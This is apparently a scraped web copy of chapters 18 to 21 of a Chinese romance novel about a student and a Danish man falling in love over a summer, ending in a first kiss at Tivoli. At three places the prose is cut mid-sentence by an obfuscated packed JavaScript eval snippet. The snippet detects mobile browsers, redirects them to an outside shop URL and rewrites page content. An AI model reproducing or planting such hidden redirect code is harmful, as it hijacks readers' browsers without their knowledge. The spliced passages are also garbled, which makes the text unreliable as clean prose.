女王摆出骄傲的神态,昂首坐下。随后从地上捡起一片落叶,抬高递给仍以毕恭毕敬的姿态站在她身旁,看着她笑的男人。 “赏你的。” 角色扮演还没演够,安宴接过叶子,就着她伸出的右手,单膝跪地,行了一个吻手礼。 按照礼仪的规矩,唇停留在距离手背一厘米的地方。要吻不吻的感觉,更挠得人心痒痒。 她的大脑和语言系统都乱了套,从西方王室来到中国古代皇室,原本说的英语也变成中文:“爱、爱卿平身。” 18. 第十八章 午后时分,阳光如同温暖的吻,轻抚着大地。 香肠在小型烤炉上滋滋作响,为湖畔的两人再添一份暖意。 安宴熟练地操作着,烤好后,龙秉月分开面包胚,放上生菜,再由他把香肠夹进去,她歪歪扭扭地挤上番茄酱和黄芥末酱,做成热狗。 默契得不需要言语,一个眼神或动作就知道接下来要怎么做。 简单的食物,简单的做法,一切都很简单,在这样的环境中,也只需要简简单单地享受。 吃饱喝足,安宴不知道从哪掏出来一把口琴,试着吹了几段后,问龙秉月:“点歌吗?小安电台为您服务。” 龙秉月撑着脑袋思考了一下:“得让我想一想。先来一曲你擅长的看看实力。” “包您满意。”安宴一副志在必得的样子。 悠扬的旋律响起,龙秉月调整了椅子的角度,面向湖泊,靠在椅背上静静聆听着。 风声、湖水拍打岸的声音和口琴声交织在一起,大自然为他伴奏,锦上添花又不喧宾夺主。 音乐明明是欢快的,不知为何她却觉得悲伤沁入心脾。于是扭头看向安宴。 他吹得很认真,全神贯注,视线落在口琴上,睫毛的阴影落在眼下。 目光从安宴的眼睛移到安宴的手的那一刻,龙秉月想起来了这是什么音乐。 是她之前看过的,安宴掌镜的电影《TheDays》的配乐。 女主从男二身边离开,飞奔去找男主时的配乐。 知道了结局,连开始都浸透着怅然若失。她不自觉地往椅子里缩了缩,想来女主也是知道结局的,但她还是义无反顾地享受当下。抑或,别无选择,心不允许。 一曲结束后,龙秉月轻声开口:“我想听《生日快乐歌》《圣诞快乐歌》和《铃儿响叮当》。” 好独特的选择,安宴不禁怀疑自己的耳朵,身体前倾靠近她:“嗯?什么?” 她又大声重复了一遍,语速也放慢,哪怕只看口型也不会听错。 想听一些有节日气氛的,真正欢快的歌。也私心提前收一下到时可能就不会再有的礼物。 安宴拎着椅子,从烤炉的对侧搬到了她的同侧坐下。 他说:“愿你每天都快乐,不止在特别的日子快乐。”然后才开始吹她点的歌曲。 因为这句话,快乐竟真的在她心中膨胀,挤走了刚才突如其来的悲伤。 龙秉月无声对着口型“跟唱”,两人时不时在旋律的间隙对视。 时间看到这一幕,都舍不得流逝,呆愣很久才意识到自己擅离职守,猛然拨快一个小时。 “吹得嘴麻了,电台今日点歌到此结束,我们下次再见。” “接下来还有什么项目吗?”龙秉月问。 她其实觉得就这样坐着吹风也很好,但既然安宴能出其不意掏出来口琴,没准还做了别的准备。 毕竟,他的目标是难忘的约会。 “嗯……”安宴却好似被问住了,他看了看树林,又看了看湖面,“想去湖里游泳吗?” 你们欧洲人夏天别太爱野泳了……但她心理上仍然接受不了,对海水毫无芥蒂,却总觉得湖水脏,不卫生,对身体不好,何况她没准这两天就要生理期,更要小心才对。 岸上有岸上的快乐。 “我不想。”龙秉月毫不犹豫地说,不过随即又补上一句,“但想看你游。” 不是因为不希望他为了自己而留在岸上,是真心想看。上次在海边总归人太多,体验也被坏心情搞砸,这次他的泳姿只属于她一人了。 安宴原地脱掉了短袖衬衣,搭在椅背上,又脱了鞋。 里面还穿着背心,下面还穿着短裤,就准备这样下水。 “你要穿这么多去游泳吗?”龙秉月不解。 “对,保护皮肤,避免被水草、岩石之类的东西划伤。” “可是这样不会增加阻力和重量,限制动作吗?” “没关系的,相信我的经验。” 安宴拇指抚上她的眉头,轻柔着把它抚平。 “放心,我不会离开你的视线。” 龙秉月想,她真是一个时时刻刻反复横跳的人。 一闪念,要看他游泳;又一闪念,好像有一丝丝风险,不然别游了;再一闪念,野泳的人她见过的没一千个也有几百个,应该相信他不是随便逞能的人。 即便如此,在安宴下水之后,她还是跟着走到了湖边,水与土地交接的地方,目不转睛地盯着他的身影。 身姿卓然,畅游如水精灵,融入湖光山色。那的确是他的世界。 她不禁想要靠近,一点点。 先是蹲下摸了摸湖水,凉凉的。然后脱了鞋踩进去,水淌过脚腕,渐渐适应湖水的温度。 多愁善感的情绪从心底涌上来——水是有这样的作用,喝水的时候,洗手的时候,冲澡的时候,她偶尔也会没来由地感到一阵惆怅。 这一刻,流动的湖水和她身体里的水共振,经由远处的他的动作传递过来。 湖水拍打上岸,化作人的泪水。 在把大自然尽收眼底的眼睛里,泪也即是湖。 龙秉月明白,这是纯粹的美引发的,由爱而生的泪水。 安宴不明白,他不想要她哭,希望她笑。 游回岸边,看到这一幕,他想也没想,就伸手为她擦泪。 没有着急问她怎么走进了湖里,怎么哭了,只是为她擦泪。 不曾想,眼泪是擦掉了,却又擦了她一脸湖水。 龙秉月也是没想到他会这样,当场破涕而笑。 原本集爱与美于一身的水精灵从湖里钻出,朝她越走越近,泪水被吸引得更猛烈地汹涌而出,都在这一刻后止住了。 他破坏了气氛,也因此制造了更旖旎的气氛。 龙秉月就着满脸湖水,也就着站在水里的姿势,把脸颊轻轻靠上安宴的胸膛,靠上他被湖水湿透的背心。 电流通过水在两人之间传递。 安宴这时才问道:“怎么哭了?” 他担心她又突然伤感,在听到她的回答后松了一口气。 ——“被你美哭的。” 很直接。她趴在胸前,声音闷闷的,带着点哭腔,以最短距离传到他的心脏。 他顾不得此刻全身湿透了,只想把她完全地拥在怀里。 刚准备动作,才抬起胳膊,胸前的人就忽然起身,惊叫道:“哎呀!刮风了,你快去擦一擦换衣服,别着凉感冒了。” 好的,一阵风把暧昧全吹走了。 野泳是临时起意,毛巾在车上,走回去还要一段时间。龙秉月先快步走回野餐处,拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634416|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了抽纸给他擦,手指抚过他的脖颈、胸膛、臂膀。 安宴的喉结动了动,从她手里拿过纸巾:“我自己来吧。” 然后他把背心脱去,擦拭着身体上的水珠。 距离如此近,伸手就能摸到,可她现阶段只敢让眼睛享受。 贪得无厌地打量着,直到安宴对她说:“过去坐下。” 露营椅就在旁边,她满脑子都是他的身体,没有细想,让坐就坐了。 坐下后看到他在自己面前蹲下,一只手扶起她的小腿,另一只手为她擦拭脚上的泥土,刚刚赤脚下湖沾到的。 动作轻柔,极具耐心,像对待珍宝,尽管珍宝内心已经悄悄地为他而碎了。 哦老天……她要怎样才能像他这么自然地上手。 安宴回车上拿毛巾和换衣服的时候,她还在想这个问题。 如果答案是不要太在乎,那她好像暂时做不到了。 如果答案是捅破窗户纸,那她短期内也没有勇气。至少,仍住在同一屋檐下的时候,她还不能。最多只能在离开后放手一搏。 继续保持暧昧,留有幻想,对她而言,是当下的最佳选择。 - 两人在湖边一直待到晚饭时间,安宴突然问:“晚上想不想在这里露营?” “露营?” 龙秉月想起来了,他车上是带了一顶帐篷,她本来还以为下午要搭。但是晚上露营不可以,要是被发现他俩一起夜不归宿……她以后都不好意思面对伊莎贝拉了。 “还是回家吧,这有点临时了,什么都没准备啊。” 安宴遗憾地说:“特意准备的‘惊喜行程’呢。” “敢不敢再惊一点直接变惊吓?” “知道了,下次不自作主张,和你一起计划。” 他改口很快,都听她的。 比这还要让她心情愉快的,是“下次”这个词。 比起未知的惊喜,她还是更喜欢实打实的期待。 回城的路上,龙秉月打开一下午没看的手机,一一回着消息。 喻琳又发来了新收藏的几个房源:【目前只找到这几个合适的,你挑挑呢。】 距离九月中旬开始上课只剩不到一个月,合租事项越来越迫在眉睫。喻琳九月初才从国内回来,于是两人便分工合作,她负责线上选房,龙秉月负责实地看房。 前几天她已经去看了几处,看房的时候同时和喻琳视频,两人都没有特别满意的,约定周末和下周再接再厉。 今天收到消息自然不意外,只是,这无疑又是在提醒她,“同居”的日子没多久了。 回完“OK”后,她默默调暗了屏幕亮度,点开了倒数日app。最上面一条大字提示着: 【距离“夏天结束”还有19天。】 按理说,她该感到可惜,感到不舍,感到光阴似箭不仅飞快还刺得人心痛。 这些感觉当然都有,且早已化为她的日常,习惯成自然,因而显得没有那么浓墨重彩了。 今天实在是很好的一天,一切都算顺利,虽然两人依旧不明不白若即若离,但在当下,不退就相当于进。 空旷的公路上,安静的车里,龙秉月看着安宴轮廓分明的侧脸,酝酿出了新的感受。 一场好梦,不管几时醒来,都不影响它是一场好梦。 19. 第十九章 “感谢大家这十个星期的参与和努力,我为你们感到骄傲。对我来说,教这门课程也是一次宝贵的学习经历,与各位共度的这段时间,同样让我获益良多。 虽然课程结束了,但我相信我们的情谊和中文学习之旅不会结束。祝愿大家未来学习顺利,生活愉快,随时欢迎联系我。” 最后讲完结课感言,龙秉月作为中文教师的暑期工作落下帷幕。 课程时间不算长,但两个多月下来,这样的日子已经习以为常,深入骨髓。 开始之前只是想要赚钱,身处其中时希望快快过去,等到真的结束了,又开始舍不得。 她和学生合影合到脸都笑僵,心里还在感叹这奇怪的人性。 最后来找她合影的是伊莎贝拉,虽然目前还住在一起,但少不了在最初相遇的地方纪念。 吵吵闹闹的教室归于安静后,伊莎贝拉拉住她,表情严肃地问:“宝贝,告诉我,你今天晚上没有其它安排。” 龙秉月稍稍避开眼神,心虚地说:“没有啊,怎么了?” 之前下课后她好几次瞒着伊莎贝拉,和安宴两人在外面约饭,导致伊莎贝拉误以为她晚上经常有安排。 “那就太好了,我们一起回家庆祝结课吧!”伊莎贝拉佯装的严肃顿时化为喜悦的笑容。 她的话音刚落,安宴竟从教室门后探出头来,龙秉月一时间恍惚不已,仿佛又回到了夏至的夜晚,第一次见到他的夜晚。 如今相隔将近两个月,在回忆的艺术加工下,她已经很难确切地回想起那时的真实感受,但她明白一定与此刻的心跳大相径庭。 不知道那时候他对她的第一印象是怎样的呢? 很想问问他,但碍于伊莎贝拉在场,她只好暂时憋在心里。 回到家后,龙秉月才发现,原来所谓的“庆祝结课”不只是简简单单一顿丰盛的晚餐,而是她住进来以来最盛大的一场派对,堪比生日或节日的派对。 客厅到处挂满了五彩缤纷的装饰,墙上贴着伊莎贝拉写得歪歪扭扭的几个毛笔字:下班快乐! 餐桌上,米克尔和安扬准备的中西结合的大餐恰好卡着他们回来的时间点出炉,色香味俱全。 比环境更加温馨的,是制造温馨环境的人。 此情此景,让龙秉月只想感慨,她在丹麦的“家”,甚至比她自己的家更像她的家。要有多幸运,才能遇到这些人。 她的结课感想又多了一条:经验和金钱都不算什么,真正的收获是在工作中遇见的人。 把范围从一次工作扩大到整个人生,这一点或许都是对的。 一顿大餐吃下来,天色渐渐变暗,夜幕完全降临。一看时间,也才不到九点而已。龙秉月的思绪又回到了第一次见面的时候,九点多仍然天光大亮。原来时间的印记如此明显。 坐在旁边的安扬瞥见她在手机锁屏上看时间,随口提到:“对哦,现在天黑得早了,晚上更方便看烟花了。” “烟花?什么烟花?”桌上只有龙秉月有此疑问。 “趣伏里(Tivoli)游乐园的,夏季每周六晚上都会放。”安扬解答后又发出邀请,“明天我们一起去吧!趁还没有开学。” “好呀。”龙秉月自然不会拒绝,这个家里她和安扬相处的时间最少,但她无疑很喜欢这个妹妹,刚好借此机会一起玩耍。 安扬继续挑兵挑将:“Jens你也一起!我们需要司机。” “呵。”安宴冷哼一声,没表态。安扬却扭过头对龙秉月说:“他这是同意的意思。” 她不由得好奇:“那他不同意的话会说什么?” 安扬眨眨眼睛:“等他不同意的时候你就知道了。” 安宴乜了她一眼,她又补了一句:“不过你估计没这个机会啦。” 餐后,米克尔用手机连上蓝牙音箱,播放起电子舞曲;又关掉大灯,打开不停变换色彩的旋转灯球,客厅秒变夜店。 派对继续进行,一家人自然而然地跳起舞来,龙秉月也跟随着融入进去。不需要刻意动作,身体自会跟上节拍。 伊莎贝拉一边跳,一边手里还拿着高脚杯喝酒,在音乐、酒精和灯光的三重作用下,她探过头来亲了龙秉月的脸两口,然后又摇摆着去霍霍其他人。 受此鼓舞,安扬也跑过来抱着龙秉月不松手,滔滔不绝地表白起来:“姐姐我好喜欢你好喜欢你好喜欢你……” 从两人体型来看,高了15厘米的安扬才更像大人。以至于这场景有一种说不出的诡异。 只有两位男士和她保持着礼貌的社交距离,但他们的精神状态也不遑多让,米克尔拉着安宴跳起了交际舞,后者欲拒还迎的表情格外精彩,还偷偷给她递了一个无奈的眼神。 在这样的气氛下,龙秉月也大着胆子和安宴跳了一支舞。暗流涌动却不为人所察觉的爽快,她也是体会到了。 - 派对结束后,回房休息前,龙秉月在二楼走廊上叫住安宴:“为什么伊莎贝拉不知道我只住两个月,月底就要搬走?” 傍晚结课的时候,她跟伊莎贝拉提了一嘴,终于要正式开始系统的家教了,而不再仅仅是以家教之名行语伴之职。 伊莎贝拉却说:“哦宝贝,今夜的主题是享乐,先不要说扫兴的事,我们未来还有很多个月在一起呢。”显然是以为她会一直住下去。 她当时按下了疑惑,打算先问问安宴怎么回事。 而安宴一副装傻充愣的样子,还很会转移矛盾:“什么,你要搬走吗?哪里让你不满意了吗?” “没有任何不满意,只是……我早就和朋友说好了,下学年一起合租。” 她当然想继续住在这里,但是不能随意打破对朋友的承诺,也必须有自己的住处,有可以回去的地方,才能做到不被动。 在沉默的间隙,有一瞬间龙秉月简直要怀疑安宴会说“可以让你朋友也住这里”,如果他希望她留下。 或者,与其说怀疑,不如说她内心隐隐有些期待他会这么说。 可安宴只是看着她,像要通过眼睛钻进她的大脑,把她看透。不知道他看出了什么,有没有看透,总之他最后说:“好,知道了。” “那……明天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634417|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见?” “明天见。晚安。” 回到房间后,龙秉月反思着刚才的表现,开始后悔自己那一瞬间产生过的期待:真是的,把别人家当成什么了…… 只是存在于脑海中、从未说出口的想法,也要为之懊恼。 何况,她和喻琳的合租房其实已经在前两天找到,合同签了,定金交了。那套房子哪哪都好,就是…… 这周的节奏是有条不紊的多线并行,除了结课和找房外,她也进一步完善了家教教学计划,继续实践着自媒体运营,同时在看国际媒体机构的实习岗位,准备趁下学期课少去实习。 另外还抽空参加了学校的线上培训,即将在新学期伊始担任十名新生的mentor,带他们熟悉校园生活。 明明日程已经足够繁忙,仍要抽空做这种志愿者,是因为她去年遇到的mentor完全是个甩手掌柜,只在开学前给她发了一封邮件做自我介绍,后来就消失不见。 于是她热心大发,落实起“你行你上”精神,誓要给学妹学弟带来温暖。 诚如那句老话所言,时间就像海绵里的水,龙秉月挤啊挤,终成挤时间大师。 然而情绪也像水,生活排得再满,它还能够见缝插针,随时随地挤进来,让人伤春悲秋。 无论是站在讲台上讲课的时候,在派对上尽情舞蹈的时候,还是正在写每周总结的这一刻,她都会突然地想念。 - 第二天星期六,是三人约好一起去趣伏里游乐园的日子。 游乐园在上午11点到午夜0点间开放,烟花时间是晚上11点半。 所以他们计划中午在外面吃饭后再过去,一下午加一晚上足够游玩,最后再以美丽的烟花为这一天划上句点。 中午,龙秉月第一个下楼到客厅等着,很有寄人篱下的自觉。 没过多久,安宴也下来了,看到只有她在也毫不意外。 “我们走吧,安扬不去了。” “啊,她怎么没在群里说?”龙秉月语调上扬,显然对这个情况感到吃惊。 明明前一晚,安扬还激动地专门拉了个三人小群,特意分享了很多游乐园的信息,说自己超级期待和“姐姐”一起玩这个这个那个。 安宴似乎也想到这回事,忍不住笑了出来:“她自己攒的局,又放你鸽子,当然不好意思跟你说。这不派我来了。她昨晚临时起意,今天日历提醒才想起来她之前买了晚上的演出票,一早就难为情地溜出家门了。” “那我们要不要等到下周六……” “她说不用管她,她下周想和你去别的地方玩。” 龙秉月暂时陷入了沉默,有点搞不清状况了。 安宴及时地开口:“忘了她,就当是我约你去游乐园,好不好?” “……好。” 会不会其实一切都是安宴的计谋,但仔细一想又毫无必要,他哪次约她她没答应,根本用不着这么拐弯抹角。 安扬也不知道他们之间有什么。 请停止发散思维,她对自己说,最近真是越来越爱胡思乱想了。 20. 第二十章 在现代化大都市里,在中央火车站和市政厅之间,坐落着世界上现存最古老的游乐园之一,想想就很浪漫。 龙秉月一早就知道趣伏里游乐园,过去也曾和朋友相约过来这里,但每次都阴差阳错未能成行,要么是有人临时有事,要么是天气突然变差,总之一直差点缘分。 如此这般,第一次来这里,是和安宴一起。 有安扬放鸽子的事在前,她本以为这次也去不了了,一而再再而三,没准以后还会这么邪门下去,教她命里无时莫强求。 哪怕他们已经在路上了,她都还非同寻常地紧张。早早放弃倒没什么,意外来得越晚,越叫人难过。她可不想到了门口再回去。 好在一路顺利。 买票入园后,龙秉月才终于松了一口气——今天是真的来成了。 也许不是和趣伏里没有缘分,只是缘分把她的初体验留给了喜欢的人。 或者更恋爱脑一点来想,他们两人的缘分,战胜了这种“无缘”。 安扬的原计划是在外面用餐后再来游乐园,只剩两个人后,龙秉月一坐上车就向安宴提要求:“我们别在外面吃了,直接去游乐园里吃吧!” 免得吃个饭行程又飞了。 安宴自然没有异议,于是,两人入园后,来到了室内美食广场。 这里有十几个不同的摊位,售卖各类菜式,购买后可以到集中的用餐区域就餐。 正值午餐时间,看着人满为患的用餐区,安宴指了指角落即将空出的小桌,对龙秉月说:“你先过去坐着,我买好去找你。” “OK,拜托多买几种,我有好多想吃的。” “放心,”安宴宠溺地笑笑,“都买你爱吃的。” 十几分钟后,他端着餐盘回来,看到角落里的一幕,脸上的笑顿时消失不见。 龙秉月对面坐着一个男人,正手舞足蹈地说着什么,还试图把自己的食物推给她吃。 安宴径直走过去,餐盘在桌上落下重重一声,伴随着满脸戾气的人不怒自威的声音:“请你起来,占我座了。” 男人本想反驳,抬头瞧见高大的身影和犀利的眼神后立马萎了。 他看看安宴,又看看龙秉月拉住安宴衣摆的手,听他们在讲他不懂的语言,权衡之下灰溜溜地走了。 走出一段距离后再回头看,安宴哪还有一点刚才的凶,嘴角都快扬到天上去了。 龙秉月面前摆着丰富的各国食品,有开放式三明治、寿司、塔可、炸鱼薯条、泰式咖喱虾、菠萝冰。 她却不急着吃,在声情并茂地吐槽:“……那人突然坐过来,我以为他是找不到位置想拼桌,还没来得及解释已经有人了,他就先开口搭讪,缠着不放,我只好装作听不懂英语,和他说中文。幸好你回来得及时,幸好你听得懂。” 安宴内心也在想,幸好他听得懂,和她怎么都能聊。 他比龙秉月还不着急吃,在她吃的时候,安静地打量着她。 她似乎怕冷不怕热,以往夏天出门至少穿短袖,经常带长袖外搭,今天罕见地第一次穿了漏肩吊带背心。 斜襟盘扣,白底有水墨印花,这样的中式设计难免让他想起第一次见到她的场景。 搭讪的男人虽然讨厌,至少眼光不差的。 吃完饭后,龙秉月直奔游乐园里的“中国区”——那里有中式建筑风格的塔,有刻着“秦始皇”三字的迷你长城,有名为“龙舟湖”的人工湖,并且很多地方都挂着红灯笼。 不止这些,乐园入口附近的戏台也是仿照中国戏台建造的,屋檐下的木匾上写着“与民偕乐”四个大字。 正是在趣伏里,从未亲自去过中国的安徒生得到了灵感,创作出他唯一一篇中国背景的童话故事《夜莺》。 置身于充满中国元素的丹麦游乐园,龙秉月不由得感慨,当你把遥远的国度想象成童话王国时,你的国家也正被它视为童话。美妙的呼应。 她拍照记录着这些元素,显眼的中式穿搭吸引来一口纯正的普通话:“美女,你是中国人吗?” 扭头一看,问话者是个同龄的中国游客。年龄不大,讲话倒是挺油。 她很无奈,但还是答道:“是,怎么了?” 被搭讪,她可以装作听不懂英语,但不能装作不是中国人。 “我也是,能加个微信吗?” “……不好意思,我不加陌生人。” 好在这个男人还算有礼貌,被拒绝后没有纠缠,只是遗憾地叹了口气,摇摇头走了。 但有人就醋意大发,纠缠不放了:“我们来的究竟是游乐园,还是搭讪园?两步一搭讪,项目都别玩。” 龙秉月无辜地眨了眨眼睛,这能怪她吗,谁让她看起来完全是单身,安宴又在她一米之外,丝毫不像一起来的。 她走近两步,把两人的间距缩小到半米之内,问道:“你不希望我被搭讪吗?其实我有个方法可以不被搭讪。” “什么方法?” “你先回答问题啦!只有你不希望,这个方法才能用。” 龙秉月的声音中带着点紧张。她不担心会听到不想要的答案,因为她知道答案只有一个;她害怕的,是在听到答案后必须鼓足勇气采取的行动,可能面临的风险。 “我当然不希望。”安宴毫不迟疑地说出那唯一的答案。 她缓缓牵上他的手,视线始终落在手上,没有抬眼看他的表情。 “这样就不会有人搭讪了……可以吗?” 安宴没有立即回答,在龙秉月的注视下,手指灵活地穿过她的指缝,和她十指相扣,指腹特意蹭了蹭她皮肤细腻的手背,然后也学她说:“可以吗?” 龙秉月这时才抬头,红着脸又走近一步,胳膊贴上他的胳膊,交握的双手夹在中间:“可以吗?” 安宴却拉起两人相握的手,放到唇边:“可以吗?” 她轻微地点了一下头,他便也低头,在手背落下了一个吻。 一个潮湿的吻。 他们现在这算什么呢?龙秉月晕晕乎乎地想。 也想过顺其自然地发展,但还是一鼓作气开了口。 安宴又把决定权交给她:“你说算什么就算什么。” “爱人(lovers)?” 她是疑问的语气,他把问号落实到句号:“嗯,就是爱人。” - 买了游乐园的项目通票,结果一直在里面牵着手散步,谁说不是浪费金钱。 可谁让牵手比所有游玩项目加起来还有意思呢。 尽管如此,逛遍整个游乐园后,龙秉月还是松开手,揉着胳膊抱怨道:“你太高了,牵得我胳膊酸。” 刚好又走回了中国区,安宴指着龙舟湖上的小船说:“那我们去划船?”坐着就没那么大的身高差了。 这里不仅给湖起了个含有中国元素的名字,湖上的船也是中国风格,外表酷似江南地区的小木船,可并排坐下两个人。 不过游客不用手动划船,它像游艇一样是电动的,只需操控方向盘。 从船上下来后,龙秉月看到旁边草坪上的懒人沙发空出来了两个,又拉着安宴过去躺着,把身高差进一步降低。 这下不仅手贴着手,胳膊贴着胳膊,连脑袋也贴着脑袋了。 只是静悄悄地贴着,看天空中的云,听游人各国语言的对话声,放松身心,就十分美好。 因为上厕所而不得不放弃宝贵的沙发位后,龙秉月痛定思痛,觉得来都来了,不能再这样浪费门票了,想躺回家后再躺。 从极端的静到极端的动,她祈祷着利用吊桥效应,再加深一些感情吧。 三个不同类型的过山车,跳楼机,大摆锤,海盗船, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634418|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空中飞椅……不停地追求心跳。 最后在八点日落的时候,上了只有六间的小小摩天轮。 两人相对而坐保持平衡,双脚交叉着,脚踝裸露的皮肤偶尔蹭在一起,说不出是有意或无意。 龙秉月看着窗外,橙红色的晚霞下,游乐园的彩灯渐次亮起,变得愈发梦幻。 在这样梦幻的氛围中,她在期待一个初吻。 视线偶尔从窗外悄悄瞟向安宴,却总是发现他毫无动作,和想象中不一样。 怎么回事,这个年龄的爱情,不该是一确认关系就干柴烈火你侬我侬吗? 没错,她是没有恋爱经验,但她是活了二十多年有正常见识的人,很难不发出疑问。 半天了,那么多次机会,安宴都没有行动,为什么呢。 刹那间,她心中升起一个想法:很多西方人看东方人都觉得过分年轻,该不会,他觉得她长得像未成年而下不去嘴吧…… 哦不,脑洞开大了,她宁愿相信是自己心急。 天黑以后,游乐项目陆续关停,游客纷纷来到外面,路上拥挤起来。 大家的目的也变得一致:先看戏台的表演,然后是十点半湖上的音乐灯光秀,最后以闭园前半小时的烟花作结。 灯光秀的英文名称叫作Illuminations,单词的意思是光亮、彩灯。 当一束绿色的圆柱形灯光伴随着烟雾打过来,湖畔后方游乐园外的钟楼若隐若现,灯光仿佛成了一条时空隧道,给人恍如一梦的感觉。 illumination一词,在龙秉月的脑海中,就此化作illusion,幻觉。 挤在人海之中,安宴把她护在怀里,她侧耳就能听到他的心跳声。转身下巴贴着他的胸口,没头没脑地问他:“你在这里吧?” 他骨节分明的手穿过她的发丝,扣住他的后脑勺,又是一个适合接吻的姿势。 然而他只是说:“我在。”声音很轻,也很重。 灯光秀恰在此时结束,人群一哄而散,开始往下一个场地转移。 等他们慢悠悠到达时,烟花的最佳观赏区已经坐满或站满了人。 龙秉月拉着安宴默默退到最外围:“反正烟花是在天上,抬头就能看到,在人少的地方更舒服。” 安宴奇怪地笑了笑,反问她:“是吗?” 她才要奇怪:“不是吗?” 开始放烟花后,龙秉月明白自己天真了,她的确被前面一群高个子挡住了烟花秀的最底层。说影响也不怎么影响,但总归不是100%完整了。 安宴一副意料之中的口吻:“是不是被挡了?要不要我抱着你看?” 能解锁新的亲密动作,龙秉月自然答应。 她脑中浮现的是男友把女友在身前举高高的网图,不料安宴把她公主抱起来。她下意识环上他的脖子。 两人的视线达到了同一高度,她可以看到完整的烟花秀了。 但也顾不上看烟花秀了。 她的眼里只剩下他的眼睛,和他眼睛里映出的她自己,她身后遥远的零星的烟花。 想靠近他。 她越来越近,心跳剧烈,每跳五下就往前一点点。悸动的同时,还在心里埋怨他为什么一动不动。 到最后,他终于等不及她的慢动作,在一下心跳的时间里,直接吻了上来。 双唇相触的那一刻,她闭上眼睛,烟花在脑中炸开。 温软湿热的触感从嘴唇传遍全身,大脑被闪成一片空白,停止了给身体下指令。她全部的力气都用来感受,忘记作出反应。 安宴伸出舌尖挑动她的唇齿,想要撬开却无功而返,只得暂时退后一点,对她说:“张嘴。” 两人平时更多是通过英语交流,这句他却说的是中文,只需要发两个音,不似英语的同义短语,有四个音节。 21. 第二十一章 伴随着欢快的背景音乐,烟花秀仍在继续,声音却持续从耳边远离。 活了二十三年,龙秉月到这时才真切体会到,原来时间是主观的。它会从与自我无关的一切上面剥离。 此时此刻,只有她和眼前的男人,其余万物都静止了。 她只听得到自己的心跳声,和唾液交换的声音。 她情不自已地抱紧了安宴,想要更亲密一点。两个人的世界愈小,外面的世界便愈远。 安宴感受到了她的反应,也给予更深情的回应,嘴上和手上都加深了力道。 亲着亲着,不知过去了多久,终于有新的感觉渐渐浮上来。腿下和背后的手指触感变得不可忽视。 龙秉月总算有功夫分心想到,安宴现在正抱着他,他们在大庭广众之下以公主抱的姿势…… 害羞也一并涌上心头,可是稍一退后安宴又立马追上来继续纠缠,丝毫不见天黑前的矜持。 她只好在他怀里扭来扭去以示抗议。 “怎么了?”安宴暂时撤退,额头抵着她的额头问道。 嗓音比平时更加性感低沉,在唇与唇之间荡出回音。 “你放我下来……这个姿势……”太难为情了。 “这个姿势腻了,想换一个?没问题。” 他这真是企业级理解。但是,唔……也不是不行,她被亲得好舒服。 双脚重新踏上大地,但又仿佛没有落地,腿软得像是还悬在空中。 龙秉月站稳后第一件事,是环顾四周寻找刚才那场浪漫大戏可能的观众。 最好是一个都没有,她想。 事实也如她所愿,大家的注意力都在烟花上,无人在意角落里的罗曼司,或者早就见怪不怪了。 安宴的大手固定住她东张西望的头,俯身贴在她耳边:“别看了。告诉我,你喜欢什么姿势?” 热气随着话语呼出,打得龙秉月一个激灵,转过身来面对着他。 这么近的距离下,热乎的还未消散的感觉又回到身体里。 想要,想要更多。 面对着面,她又环上他的脖子,主动贴上双唇。 半个小时的烟花,连半分钟都没看到。 他们没有通过外物获得欢乐,他们自己制造了无上的欢乐,可以延续到烟花结束之后。 午夜十二点从游乐园出来,坐上车,安宴侧过身来给龙秉月系安全带——研究表明,人恋爱后,手会丧失一部分的功能,这部分功能或转移到了对象身上。 四目相对那一刻,他们又解锁了新的接吻姿势。 该死,好像打开了某种开关,嘴和嘴的距离不能低于十厘米,否则会自动黏到一起。 这一次,安宴没有深入,只是轻轻地啄吻。 龙秉月发出舒服的闷哼,他却克制地离开:“先回家,回去再亲?” 什么问题嘛!说得好像是她亲得停不下来(确实是)、他服务不过来(才不是)一样。 龙秉月又解开安全带:“我、我坐后面吧,为了你安全驾驶考虑。” 免得嘴唇分开了,眼神又拉丝了。 路上,龙秉月搜索了趣伏里烟花的视频观看。明天肯定会被问到玩得怎么样、烟花好不好看,她得抓紧预习一下功课,千万不能被发现他们根本没看。 游乐园有官方的频道,上传的不止有烟花视频,还有春夏秋冬各种特色活动记录。 只不过看着这些视频,她脑子里想的依然全都是安宴的吻,一分一秒都停不下来。 怎么会这样,嘴唇是连着记忆神经的吗?文科生龙秉月从没这么希望过自己学的是生物学。 - 车在院子里停稳后,龙秉月一个箭步冲下车,先上楼了。 再被安宴的温情蛊惑,她也时刻记得要在他的家人面前和他保持正常距离,有种莫名的做贼心虚。 